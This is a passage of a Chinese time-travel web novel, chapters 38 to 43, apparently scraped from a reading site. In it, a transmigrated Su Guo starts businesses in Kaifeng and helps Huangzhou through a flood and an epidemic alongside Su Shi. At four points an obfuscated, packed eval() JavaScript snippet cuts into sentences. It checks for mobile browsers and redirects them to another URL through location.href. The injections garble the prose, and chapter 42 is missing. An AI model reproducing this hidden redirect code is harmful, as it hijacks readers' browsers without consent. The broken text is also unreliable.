当年这位衙内在大街上叫嚣“我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16583354|184447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 爹是蔡相”时，他爹还不是宰相来着，只是预备役。 但今年可是直接任命的中书侍郎，正式拜相了。 虽然还有个左相王珪在他前面，但他爹蔡确一面奉承王珪，一面又悄悄建议神宗改革制度，直接将王珪架空，可以说是大权在握。 不然怎么是能被元代《宋史》列为奸臣之首的人呢。 能力手段那是一样不缺。 但就是这样一个奸臣，帮因误判而处决的百姓平了冤，在官官相护的情况下主持正义。 之前老苏“乌台诗案”时，他也没有完全落井下石，反而帮老苏拦下了死刑。 当然，这并不是说他是个好人，但历史人物嘛，总有其多面性与历史局限性。 咱们择其优而相处就好。 比如现在，他就是一个很好的靠山嘛。 蔡庄也深以为然，他在亲爹还不是宰相时就敢招摇，现在哪还有怕的。 “放心，这几样生意，都给你安排的明明白白。”蔡庄向苏过保证。 经过这几日的相处，他的胃和人都已经被苏过征服，好兄弟，必须支持。 两人又商议好细节，签了契书，苏过去给王家侄子写信，告诉他这个好消息。 没过几日，董钺和米芾都告辞离开，绵竹道士在苏轼的挽留下住了下来。 经过多次尝试，老苏也终于能酿出好喝的蜜酒了，两人成天到处游玩，谈天说地。 苏轼本就对《易经》感兴趣，现在来了个真道士，更有的聊了。 更何况绵竹道士医术高明，苏二哥也多一个学医的老师。 蔡庄本来是准备在黄州多养生几日的，但听了苏过的生意经后觉得很有意思，便也坐不住，带着苏过的配方与第一批茶叶返回汴京了。 至于白糖，得等王家侄子那边说好后从广西再运过去。 拓展完销路，送走蔡衙内，苏过又恢复了之前读书练字的生活。 哦，还多了一项，把黄州的茶叶种植与生产规范起来，方便以后统一销往汴京及其它地方。 不过这件事他只负责出主意和牵牵线，具体的执行，当然得亲爹苏轼来安排啦。 又给老苏揽了件事情，开心～ 忙忙碌碌又过去几月，天气开始暖和起来。 狄云在苏家也住了有一阵子，不知为何，送往汴京的信一直没有回音。 蔡庄回汴京的时候苏过还拜托他帮忙给狄家递信来着。 蔡衙内表情奇怪的应了下来，后面来信说有传话到，但具体后续如何也没提及。 不过不管怎样，苏家上下都很喜欢狄云，就算不来人接，一直住着也没啥关系，只是怕他家里人担心罢了。 转眼便到端午节。 苏家到处都挂上了蒲叶和艾草。 五月五日午时，全家轮流用井水泡上艾草沐浴完，苏过等人各自拿到一条五色手环，用来保佑整年疫气不侵。 苏过觉得神清气爽，准备开始包粽子。 端午节，怎么能不吃各种甜的咸的粽子呢。 老苏还提了个要求，想吃辣的粽子。 嗯？这倒是蛮奇特的口味。 39. 第 39 章 北宋的粽子已经有许多花样了，光是形状就有角粽、锥粽、菱粽、筒粽、秤槌粽、九子粽等等，还会将艾叶烧成灰，放到水里面一起煮粽子，这样煮出来的粽子就是金色，十分好看。 不过粽子口味基本还是以甜口为主，裹上红枣、板栗、红豆蜜饯等，加上蜂蜜和糖调味，很是美味。 咸粽子也有，但比较小众，不像后世那样还能引起甜咸党争。 苏过准备各色粽子都做一点，到时候吃到什么口味都凭运气，也蛮有意思。 但老苏竟然要求做辣味的粽子，这真是小众里的小众了。 苏过倒是听说过蜀地有用腊肉做的辣粽，但年前大家都嫌弃腊肉口感并没有熏制来着。 苏过只能临时创意，用腊肠代替腊肉做辣粽，又将调味好的辣子鸡丁包入粽子，给老苏做了几个版本。 只是这味道就不敢保证了。 以防万一，这两款粽子单独存放，不加入口味随机套餐。 端午节本就各家会互相赠送粽子，这样下来，苏家要准备的数量就不少了。 于是动员上全家一起参与，倒是也很有趣味。 苏过另外去厨房做了五色水团给大家当点心。 包好的粽子还要煮熟然后送给左邻右舍、府衙里的徐知州等人。 另外留一些未煮过的，给陈季常柳氏，还有王家兄弟。 这些就由王氏和老苏操心了。 苏过叫上狄云还有二哥，自行出门去玩了。 端午节街上也很热闹呢。 许多小贩正在叫卖用艾草做成的各种饰物，还有彩色丝绸扎的精巧符咒，叫做“钗头符”。 街上许多少女娘子都有佩戴。 还有各式扇子与小鼓，这会儿的扇子叫做“避瘟扇”，上面通常画有各种鲜花植物。 苏过在卖扇子的小摊上逗留，觉得每个扇面都特别好看。 天气热了，正适合备一把。 关键是扇面上的花朵画的十分精美，苏过总觉得很适合狄云。 虽然好像似乎是有那么一点不太男子气，但鲜花配送狄云那张脸，真的很好看呀，这是一种完全无关性别的美。 苏过说服了自己给好兄弟买一把这样的扇子，正准备问狄云喜不喜欢，却见本来一直站在他身边的人不见了踪影。 “二哥，你看到狄云了没？”苏过问苏迨。 苏二哥正忙着挑小鼓，也没注意来着。 两人一下子慌了神，四处望去都不见狄云身影。 忙放下手里的东西，沿来时的街道仔细寻找过去。 苏过都快放弃，想要去府衙叫人帮忙时，在一个小巷看到了狄云的身影。 他连忙跑过去，却见狄云面前站着两个的男子，似乎正和他在说着什么。 看到苏过跑来，两个男子看了他一眼，又跟狄云说了句话便匆匆离开。 隔了段距离，苏过听不清楚说的什么，待跑到狄云旁边，“这两个人是谁呀？你怎么一个人跑这边了，我们找不见你都担心死了。” 狄云见他跑的满头大汗，拿出张帕子让他擦一擦，“刚刚这两人找我问路，走到这边发现位置好像不对，我也不熟悉，就让他们去问别人了。” 苏过虽然觉得有点奇怪，但也说不上哪里不妥，“你一个外乡人还给别人指路，下次不要乱跑啦，找不到你，我们可担心了。” 狄云点点头，“没事，我力气大，别人都伤不到我。” “哎，早晚你要吃点亏才能学会谨慎。”苏过老气横秋的摇摇头。 出了这么个插曲，几人也没心思再逛，略买了几样逗箪哥儿的小玩具便回家了。 黄州的日子过的波澜不惊，汴京倒是一番火热景象。 这个夏天，汴京百姓都被奶茶征服了。 蔡庄回到京城后并没有急着开店，而是废了一番功夫，将带来的黄州茶叶，通过各种关系网推广出去。 当然，还费了好大的劲儿说服亲爹不要再催着他考试，可以先折腾点别的。 蔡相的确政务繁重又忙着争权搞事，暂时没功夫教育儿子，便随他去了。 待几款茶叶开始有一些名气后，蔡庄终于等到王家侄子加急送来的白糖。 于是一口气将两家店铺都开起来，汴京人民简直要乐疯了。 甜甜的奶茶，加上冰块，在夏日里喝上一杯，甜在心里，凉在身上，身心都得到了满足。 还有那白糖和白糖糕，不止文人喜欢，普通百姓们也很喜欢好么。 汴京的许多百姓，也不差钱呢。 还有不知是从哪里流行起来的火锅配奶茶，尤其是辣辣的火锅，吃一口火锅，再喝一口冰奶茶，又解辣又解暑。 带的沸春居的客流量都又迎来了小高峰。 这个流行，当然是苏过的主意啦，没点捆绑营销怎么行呢。 而且作为兄弟店铺，沸春居还直接和奶茶店搞了联动，吃火锅点菜可以顺便点奶茶，有店小二专门帮忙取了送到，简直不要太贴心的服务。 大众路线的奶茶和偏高端路线的白糖一结合，收益简直惊人。 拿到季度分红的蔡庄都惊呆了，忙到蔡确面前炫耀一遍，再收进自己的小金库里。 以后谁也别说他靠爹，吃喝玩乐，完全可以自给自足了好么。 黄州的苏过还没收到他那份分红，但源源不断增加的满意值显然很能侧面说明生意的火热。 苏过表示很满意，一切都在计划中。 希望能早点再升一级，什么时候能解锁西瓜就好了，夏天还是要配西瓜呀。 实在是太热了。 老苏最近都迷上了新活动，也不带着他的好友们去雪亭赏景了，外面太热。 经常几人带着凉菜蜜酒，晚上去找地方乘凉或泛舟。 有时玩的晚了，在外面直接过夜都有可能。 夜不归宿，实在是太恶劣了。 苏过表示他也想去，但苏轼就是不带他，说熬夜对小孩子不好。 合着你也知道这是不好的行为呢，苏过默默吐槽。 但他也的确熬不过苏轼这种高精力人士，他要早睡保持睡眠呢。 这日苏轼又和绵竹道士一起出去泛舟，整晚都没回来。 苏过正准备等见到亲爹就继续谴责他这种放浪的行为。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16586532|184447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 就见显然熬了夜的两人，带着黑眼圈，精神奕奕的回来了。 “爹你又出去夜游，得让辩才法师给你开一点补药养一养了，瞧你这憔悴的黑眼圈。”苏过给亲爹和绵竹法师倒上热茶又拿来早膳。 苏轼不以为意，几口吃完早膳，“昨日新得一篇佳作，都是泛舟江上才得的灵感，可见还是要多出去走一走。” 绵竹道士也在一旁附和，“绝世佳作，难得一见，实在是妙哉，妙哉。” 老苏吃完早饭就准备去书房，也不补觉，先将新得的佳作记录下来。 苏过见状，突然想起什么，拉住绵竹道士，“你们昨晚去的哪儿？” 绵竹道士回他，“好像是一个叫赤鼻矶的地方。” 赤鼻矶？！ 这不是老苏写《赤壁赋》的地方么。 所以昨晚这篇传世之作就这样诞生了么？他竟然没有在现场！ 苏过连忙小跑到老苏的书房。 苏轼已经洋洋洒洒挥墨将文章默了出来。 苏过拿来一看，“壬戌之秋，七月既望......” 果然是《赤壁赋》! 他是知道老苏会在黄州写下著名的两赋一词来着，但毕竟很多事情已经不一样，他也不知道这些作品会不会被蝴蝶掉，更没想到是在今年呀。 早知道是昨晚，他撒泼打滚也要跟着去了。 那样的话，说不定就不是苏子与客泛舟游于赤壁之下，而是苏子与子泛舟游于赤壁之下了。 emmm,听起来好像没有前者流畅，有点怪怪的。 但不管怎样，如果这样的话，他就能在这篇传世佳作上留下脚印了。 这不比什么“到此一游”来的更拉风。 传世之作诶，他就这么错过了！ 而且就算不是留下脚印，打个卡见证历史也好啊。 苏过扼腕，不过还有一词一赋，是什么时候写的来着，可不能错过了。 不对，《赤壁怀古》好像是在《赤壁赋》前面来着。 “爹你是不是还写了一首词来着？”苏过问老苏。 “你怎么知道，这首词是上次去的时候写的，就世昌兄一人听过来着。”老苏疑惑。 苏过都无心解释，他已经错过了两个经典场景了，留给他的，只剩下两个月之后的《后赤壁赋》了。 “爹，你下次再去，一定要把我叫上。”苏过郑重对苏轼说道。 老苏不明所以，只当他是想出去夜游，敷衍道，“到时候再叫你。” 不过接下来苏轼都没什么机会再出去夜游了。 天气突变，开始频繁降雨，苏轼跟徐知州等人都忙碌起来。 本来再过两月地里的庄稼就要成熟，结果连日大雨，这种降雨量对作物的伤害是十分明显的。 几乎每天，大家都在安排各种庄稼抢救与堤坝修补。 然而即使是这样，长江的水位还是一日高过一日，地势偏低的西南区域最先被淹没。 城内还有好几个湖泊，蓄水日渐丰盈，没过两日，城外的望月堤决堤，一片洪水奔涌而来，与城内的湖泊联手，将黄州淹了大半。 40. 第 40 章 苏家所在的临皋位于黄州城西，紧邻长江，属于比较早就被淹到的区域。 幸好之前听柳氏建议，说黄州易有洪灾，他们的房子买在高处，并没有被波及太多。 但黄州的灾情，还是深深震撼了苏过。 地势低洼之处连成一片水泽，露出一些泥土砌成的矮墙。 有些稻草搭成的屋顶，早在前几日大雨时便已经被冲的七零八落，洪水一来，更是毫无反抗之力就被水流带走，飘在水面上。 洪水裹挟着一个又一个的漩涡向前奔涌，横冲直撞，不知跑向哪一条支流。 幸好黄州对此还算有所准备。 鉴于往年经验，地势低洼处居住的百姓并不多，在前几日暴雨没有减缓趋势时，徐知州就安排对部分百姓进行了转移。 但即使是地势稍高的区域，很多地方水面也涨到了小腿，人群只能往更高处甚至山上挪动。 苏轼已经好几日没回家，宿在府衙，跟徐知州一起安排州里各项事务。 苏家众人也转移到了山上，除了吕氏留在营地照顾箪哥儿，其他人都力所能及去做些事情。 大雨中，苏过与苏迨正在围堵一头猪。 为防雨势继续，洪水加剧，本来他们是帮忙转移其他百姓到山上的，但很多人担心家中东西被冲走，都大包小包带了许多行李在身上，养的牲畜更是要一并带走。 忙乱之下，一头猪不知是被水流惊到还是怎样，脱离了队伍，横冲直撞起来。 未免伤到他人，苏过与苏二哥只能尽量去将猪捉住。 也幸好这个月份，猪都还没养的特别大，不然他们还真不敢以现在的小身板去围堵。 但即便如此，一头半成年的猪的体重也是很可观的，尤其在惊慌冲撞时的力气。苏过并不敢硬碰硬，只能进行驱赶，期望其疲惫或冷静下来。 但折腾了许久还是没有一点进展。 狄云刚好帮一户人家搬完东西，见到这一幕，拿了根绳子，几步并一步跑过来，往猪的头上一套，再稍一用力，便将其制服。 终于冷静下来，猪在狄云的牵引下乖乖跟上了队伍，几人到了山上。 这么多百姓转移，山上自然也没有多好的条件，大家多借助地形要么搭个棚子，要么直接借大树等躲雨，连个棚子都没有。 如今当务之急是保证百姓安全，府衙官差等也只能四处巡逻，让众人保持一定秩序。 类似的转移点，黄州有许多个，这样的大雨下，即使是官府也没办法有太好的安排。只能暂时等雨停再做打算。 苏轼在政务方面很有经验，早在雨势不对时便找徐知州提出了许多预案，包括百姓转移等。 在转移前挨家挨户做过动员提醒工作，大多数人家都有准备，贵重细软打包，粮食尽量做成干粮带上，实在带不上的，放高处或者怎样处理好。 于是在山上的人，到了饭点，大都拿出干粮，避着雨啃了起来。 少数没带干粮或者只带了粮食的人，到处都是雨水，也不好生火做饭，只能眼巴巴的看着。 黄州百姓大多淳朴善良，见到这种情况，大多会将干粮分出小部分。 这个光景，先都一起熬过去再说。 只是看着还不停下来的大雨，众人心中都有些悲凉。 刚过了一个好年，大家都在盼望着今年地里的庄稼能继续有个好收成，年景继续好下去，他们多种点红薯，猪长壮一些，大家就能吃饱饭，吃上肉。 结果这么一场洪水，别的不说，庄稼地被淹了大半，明明还有不到两个月就能收成的庄稼，如今被水一泡，那是真的基本打了水漂。 一年的忙碌成了空，有那悲观一点的，忍不住就哭了起来。 苏过和家人也正在啃干粮。 他向来爱折腾各种吃食，干粮酱料各种不需要加热的食物本就有许多，提前知道要转移到山上，更是带着家里人赶制了一大批出来。见到有没带干粮的人家，都会送上一些。 苏过吃完一张饼，却见狄云正望着外面的雨发呆，手里的饼一口没动。 忙了大半天，尤其是狄云仗着力气大，做的都是繁重的活，头发被雨水淋湿成一缕一缕，这会儿不知是雨水还是汗水顺着头发滴落下来。 “快把饼吃了吧，你今天干了不少活儿，补充补充体力。”苏过催他。 狄云却只是换了个姿势，抬了抬头，“你听，有人在哭。” 苏过也听到了哭声。 这年头，庄稼就是农民的命。一场洪水过来，庄稼被淹了，那不就是半条命没了。 不止地里的庄稼，就连家里储存的粮食，转移时也不是都能带走的，到时候回去不知道还剩多少。 想到这些，许多心理承受不住的，自然就哭了出来。互相感染下，整片区域的空气都十分低沉。 “吃一些东西吧，一会儿还要继续去帮其他人搬东西呢，没体力可不行。”苏过也不知如何面对这种气氛，只能劝狄云先吃些东西，一会儿再找点事情做，转移注意力，也切实做些力所能及的事情。 听到这个，狄云终于将手里的饼吃掉，也不做休息，继续去帮其他百姓搬东西和整理避雨之所。 如此忙碌了几天，将有危险的百姓都转移完毕，而黄州的大雨，也终于停了。 雨停的时候，大家都走出了避雨的棚子，祈祷这是真的结束。 又过了一天，雨没有再来的迹象，天气也放晴，大家才真正放下心来。 但此时洪水并未退去，大家也只能继续再待两天。 随着洪水消退，山上和高处的百姓陆续回到了自己家中。 面对的，自然是一片狼籍。 许多房子被冲走了一半，残破不堪。 家中物什，大多被水泡了一遍，没被冲走已是幸运。 大家只能忙忙碌碌，赶快能修补的修补，被水泡了的东西，能用的晒晒继续用。 尤其是粮食，还没烂的赶快抢救一番。 但地里的庄稼，泡了这么多天的水，大部分已经无力回天。 苏家众人也回到了家，清理积水，打扫整理，又忙碌了一整天才基本处理完毕，大家都去歇息，毕竟在山上这么多天吃不好睡不好，所有人都很疲惫。 而这时，老苏终于抽空回了趟家。 给亲爹下了碗热腾腾的面条，苏过也顾不上休息，趁老苏吃饭，想问问目前整个州府情况如何。 狄云本来也准备去休息的，见状也跟来想听一听。 苏轼眼下一片青黑，这段时间显然没怎么休息。 面对孩子们的询问，他也没犹豫，将情况说了一遍。 现下洪水已经褪去，百姓都回到了自己家中，但这才是一个开始 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16593488|184447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 天灾只是前曲，灾后重建才是重头，而这次洪水的后续影响，甚至可能持续到明年。 毕竟许多人房子要重建，存粮被冲走或泡坏，新粮又在地里可能颗粒无收，种种叠加，可以说是困难重重。 还好黄州去年收成不错，不止百姓有存粮，官府收上来的粮食也不少。等灾害报上去，估计还有一批赈灾粮食或银两下来，好生安排，总能让百姓活下去，撑到明年的再一次丰收。 现下苏轼也只是回来暂时休息一会儿。 接下来他还要协助安排灾后的各项事宜。 残留的积水尽早排掉，疏通沟渠抢救农田，再清理洪水冲刷后留下的淤泥。 田里的作物，还能抢救的，好生扶正，培土固定一番，希望能继续生长下去。 实在没办法抢救的，清理出田地，能补种的再补种一些，如今天气还热，到时候多少能有些收获。 农民们大都经验丰富，归家后已经在自行处理这些。 但一些注意事项与关键点，还需要官府多加宣传。 洪水虽然褪去，但高温高湿的环境，很容易生出虫害，要尽早防治。 官府里的救济粮也要安排发放下去，再做好规划，留出明年的粮种。在苏轼的提醒下，官府算是最早准备的一波，粮食都被运到了高处，尽量防水防潮，最近也在晾晒抢救。 百姓们损失惨重，后续的基本生活，以及明年的粮种，可能都需要依赖官府。 听到老爹说的各种安排，苏过终于放下心来，徐知州和老苏等人都是关心百姓的实干派，肯定不会让百姓受苦。 而且接下来，虽然可能会有点辛苦老苏，但这种低落的氛围下，也只有他多跑一跑，安慰众人，大家才能尽快恢复信心。 老苏自然不会抗拒这种有利百姓的事情，再苦再累都会撑下去。 见亲爹一脸疲惫，苏过也不忍继续打扰，见老苏将面吃完汤都喝了精光，知道他实在是又累又饿狠了，忙催他去休息，养足精神才能继续奔劳。 苏轼点点头就回房了。 狄云抢在苏过之前收拾了碗筷拿回厨房。苏过跟他一起。 “接下来我们还能做些什么？”狄云边走边问苏过。 这几天见到太多绝望的麻木的百姓，狄云整个人很受影响，也变得有点忧郁。 “我爹刚刚列了那么多事情，我们可以力所能及的参与进去，帮大家出一些力。”苏过芯子里毕竟算个成年人，承受能力还是强一些，没那么被情绪影响。 “但我们能帮到的也就是个别百姓而已，太微不足道了，也不知能改变些什么。”狄云道，明明已是晴天，却仿佛还是下雨时在山中那天听到哭声一样，纠结、迷茫。 苏过也沉默了，天灾面前，人力就是很微弱的，他也只能做些让自己良心没那么不安的事而已。 “别想太多，好好休息吧，能帮多少就帮多少。”苏过安慰他，两人各自回房休息。 然而回房后苏过却怎么都睡不着，满脑子都是老苏青黑的双眼，满山压抑的哭声，以及狄云说的话。 第二天，趁苏轼出门前，苏过顶着黑眼圈拦下亲爹， “我之前在山上自己种了一片土豆，应该没被洪水影响，现在差不多可以收获了，挖出来，正好当做新粮种让大家种下去，冬天前可以再收获一季。” 41. 第 41 章 苏过昨晚想了一夜，脑子里都是狄云迷茫的眼神与那句“不知道能改变什么”。 他可以继续带着二哥和狄云，去帮黄州百姓们清理田地、补种庄稼。 甚至可以再编一期《黄州小刊》，将灾后重建各种要点诀窍普及开来，贡献一份力量。 但苏过知道，这还不够。 对别人来说，可能够了，但对他来说，其实是不够的。 因为他本来有能力可以做更多。 于是盘点了自己剩余的满意值，苏过一大早就拦住了老苏，准备将土豆贡献出来，作为粮种，让百姓补种。 毕竟现在已是八月尾巴，剩余能补种的短季作物并不多。 玉米还没解锁，红薯生长周期来不及，只有土豆，兑换早熟品种，生长周期短，产量高，刚好能补上这一段空缺。 当然，对于整个黄州来讲，苏过能贡献出的土豆，即使作为种子，也是有限的。 但大家还可以再种一些豆子和别的蔬菜，拼拼凑凑，加上官府的救济，总能把今年熬过去。 而且许多人家里去年收获的红薯基本还剩许多，被洪水泡过之后肯定是无法久放。 苏过准备教大家将红薯做成红薯干，以及红薯粉，可以延长保存期限，避免浪费。 听苏过说自己还有一批土豆时，苏轼就愣住了。 尽管之后苏过又补充了一堆红薯的做法，但也愈发像是欲盖弥彰。 苏轼只愣了一下，深深的看了苏过一眼，便继续整理衣服准备出门，“你自己找人把土豆挖出来送府衙吧，红薯干和红薯粉的做法也写下一起带来。” 苏过被这一眼看的心里一慌，还好老苏很快转过头去。于是苏过连忙应下，送亲爹出门。 顾不上休息，苏过叫上钟叔与大哥等人，到山上去挖土豆。 又一阵折腾和遮掩，分了好几趟，运下来几大车土豆，送到府衙。 倒也不是苏过不想拿出更多，年初时已经兑换过许多种子，这段时间剩余的满意值已经都兑换完，而且再多就没办法圆过去了。 土豆送到府衙，自有徐知州派人安排分配与种植。这部分苏过帮不上什么忙。 倒是红薯干与红薯粉的制作，苏过已经详细写下，又给徐知州等人演示了遍做法，尤其是红薯粉，经过磨浆过滤出红薯淀粉，再蒸制晾晒做成红薯宽粉，味道十分不错。 这么会儿肯定是演示不了全流程的，苏过拿出了提前做好的红薯粉，做成一碗酸辣粉，即使不太能吃辣的徐知州也尝了一小碗，称赞不错。 不过红薯做成红薯粉损耗很多，只作为附赠方法，今年主要还是做成红薯干，更能为百姓尽量保存口粮。 徐知州立马拍板，让苏过安排再出一期《黄州小刊》，尽快将做法宣传出去，毕竟大家的红薯都被洪水泡了，越早处理，腐坏的越少。 他和苏轼还有许多事情要做，而苏过对这些流程十分熟悉，出一期小刊完全不成问题。苏过应下，自去安排。 之后便是又一阵忙碌。黄州家家户户都是从早忙到晚，男人们忙着修房整理田地，女人们则在家里晒粮食和红薯干，顺便按官府的指导洗红薯蒸红薯粉。能够不浪费粮食，对他们来说就是再好不过的事了。大家都很积极，在忙碌之下，绝望沉郁之气也少了不少。 然而这种积极氛围却没持续多久，就又迎来了一个噩耗。 黄州，出现疫情了。 大灾之后常有大疫。 之前连续降雨，几乎所有人都在大雨中淋过很长时间，山上避难时也没有很好的条件让大家保暖驱寒。之后又是忙碌的灾后重建，劳累之下，许多体弱之人便率先病倒了。 高烧呕吐、腹泻畏寒。一开始百姓们只当是淋雨之后的风寒，没有引起重视，却逐渐病倒一片，传染速度十分迅速。 苏过听说时十分懊恼，他就说好像忘了什么。 灾后防疫，这么重要的事情，他只想着防虫害了，人的疫情才是大头呀。 然而再懊恼也无济于事，疫情已经出现，只能尽力处理。 苏过拼命回想防疫有哪些要点。在现代，他也是经历过几次疫情的人，对于很多内外用手段都很熟悉，一挥笔就写下了数十条隔离与防疫方法。 然而疫情最重要的还是治理，北宋的医疗条件，不知道能不能好好控制住病情。 想到这里，苏过忙去找辩才法师和二哥，看他们有没有什么好方法。 却没想到苏轼已经在辩才法师这里，连绵竹道士杨世昌也在。 苏轼带来了患病百姓的脉案，几人正在商讨治疗方法。 苏过递上自己列的防疫条例，辩才法师看了之后点头称赞，“条理清晰，观之有效，可尽快施行。只控制疫情关键还在于治疗，目前病人多为寒湿之症，需对症下药才能起效。” 苏轼也点头，“见效快才能控制疫情，但黄州目前药材短缺，许多治疗难以施行。” 绵竹道士听了却道，“若都为寒湿之症，我倒有一方，名圣散子，乃云游所得，曾在扬州时治愈过数起类似病情。” “哦？子京可详细说来。”苏轼听了很是高兴，忙让绵竹道士细讲。 杨世昌取来纸笔，将方子写下。 辩才法师一看，的确十分对症，而且所用药材都是低廉之物，并不难寻，这对黄州时疫而言，又是一喜了。 见两位医师都说很好，苏轼十分高兴，忙向几人，尤其是绵竹道士道谢，“若果真有效，乃功德无量之事。” 绵竹道士不以为意，让老苏赶快去试试，早点救人早点安心。 苏轼带着两份材料赶回府衙，与徐知州商议之后推广开来，疫情很快得到控制。黄州百姓终于在这次灾难中得到真正的喘息。 当然，事情并不是一帆风顺。 本来徐知州等人还期盼着灾情折子递上去，朝廷会下发赈灾粮食或银两，结果等了月余，赈灾银两是等到了，却比预期少了许多。 幸好他们自己本身也有许多预案，而且之前苏过希望黄州百姓能有更多进项，鼓励大家种了许多茶树，又在汴京打开了销路。 如今农田被淹，山上的茶树损失倒还可控，采摘下来，可以卖出一笔银两，补贴一些黄州百姓的生活。 朝廷也不是故意为难黄州，目前他们正忙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16598278|184447||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着更重要的事情，对西夏的战役，用钱用粮的地方太多。 之前过年的时候，神宗就在让种谔和沈括研究对西夏的作战策略。 之后的几个月，沈括声东击西，攻下了西夏数个城市，被升为龙图阁学士。又和种谔提出了在横山一代筑城，以地理优势直接威胁西夏的主张。 神宗十分重视，特地派了钦差大臣徐禧去和他们共同商议安排。 结果徐禧为了快速见效，竟然将地址选在了一个水源缺乏的永乐城，还效率奇高，十四天就修好了城池，屯兵数十万。 西夏人效率也很高。梁太后直接带兵三十万攻打永乐城，切断了水源，围困数十日后宋军丧失了战斗力，被西夏人攻破城门，包括徐禧在内的二十万军民死伤无数，几乎全军覆没。 沈括之前被神宗安排去负责军用物资和救援，结果永乐城被困时，他也被西夏军队阻拦在永定河，又听说绥德也被围攻，估计想着徐禧那边人多能够再撑一撑，决定先保绥德。 而种谔就不提了，他本来建议在银州修建城池防御的，结果被徐禧以文人身份排挤，最终选址永乐城，怀恨在心，选择不去救援。 于是永乐城就这么快速建好，又快速陷落了。 消息传到汴京，神宗十分悲痛，甚至有点意志消沉，反正对西夏是再也不敢发起战争了。 黄州的苏轼等人听到消息后也十分沉痛。毕竟之前他还代写过折子，让朝廷徐徐图之，不要急于求成。 可惜，人微言轻，那封折子他都只能代别人写，连发表意见的资格都没有。 本来西夏内乱，梁太后掌权是十分好的机会，就这样错失了。 机不可失，失不再来。苏轼除了感慨下，也只能沉默，毕竟他现在更关注的，也是黄州的灾后工作。 苏过等人听了这个消息，又缠着老苏讲了许多背景，感慨不已。西夏这个神宗的心病，终究还是要变成心魔了。 从狄青时代开始，北宋就与西夏作战，这么多年过去，竟然优势越来越弱，怎能不让人惋惜。 这次的永乐城之战，还是西夏的梁太后亲自带兵。 这位梁太后也是奇人，本来她是一个汉人女子，因为长得好看，嫁给西夏权臣没藏讹庞的儿子。西夏也是很乱，大约就是没藏讹庞怂恿太子杀父篡位，结果太子被以谋反处死，皇帝也重伤死了。倒便宜了没藏讹庞，他妹妹嫁给皇帝刚好生了个儿子，这个外甥就顺理成章当了皇帝。 他还把自己女儿嫁给外甥，想要巩固权力。结果没想到外甥和自己的表嫂，也就是梁太后情投意合，一起里应外合杀死了没藏讹庞夺回权力，而梁太后自然也就顺理成章成为了皇后。 这其实是一个蛮有意思的年下言情故事来着，如果梁太后不是西夏人，又没有处心积虑针对北宋的话。 可惜了，梁太后身为汉人，掌权后为了表示自己没有异心，愈发针对北宋，多次发起战争，更是在永乐城之战中让北宋损失惨重。 家贫、国弱，两大憾事，仿佛一下子将残酷的现实展现在了苏过面前。 苏过还来不及细品，狄云就找到了他，说自己要准备回家了。 43. 第 43 章 与狄云告别后，苏过一连几天都在思考自己可以做些什么。 继续肝满意值开店赚钱成为北宋首富？他虽然还没有达到father马对钱没兴趣的境界，但都到北宋了，汲汲营营只为赚钱，的确差了点意思。 发扬厨艺成为一代名厨？上辈子的剧本，已经腻了。 或者读书科举征战朝堂，走上人生巅峰？且不说他的小聪明能不能科考顺利，后面这些年北宋除了党争还是党争，老苏都起起伏伏跟坐过山车一样，还落得个凄惨下场。他能仕途顺利独善其身么。 真不知道那些穿越前辈们是如何做到叱咤风云，混的风生水起的。 苏过很纠结，于是一连几天完成功课后都赖在苏轼书房，看书练字，修养身心，梳理思绪。 倒让老苏很是诧异。 “你这是因为狄云走了意志消沉么？”苏轼想了想只能找到这个原因。 苏过看了亲爹一眼，继续将剩下的几个字写完，“乖乖练字就叫消沉么，这明明是上进来着。” "笔下无力，神游天外，练再多都是无用功。"老苏也不惯着儿子，犀利评价道。 亲爹的眼神果然是雪亮的。苏过于是将狄云的话转达，想让老苏帮忙出出主意。 “我应该还算聪明，总要做些大事，以后才能自信的和狄云再见呀。”苏过道。 听了儿子的烦恼，苏轼倒是哈哈一笑，“人皆养子望聪明，我被聪明误一生。惟愿孩儿愚且鲁，无灾无难到公卿。” 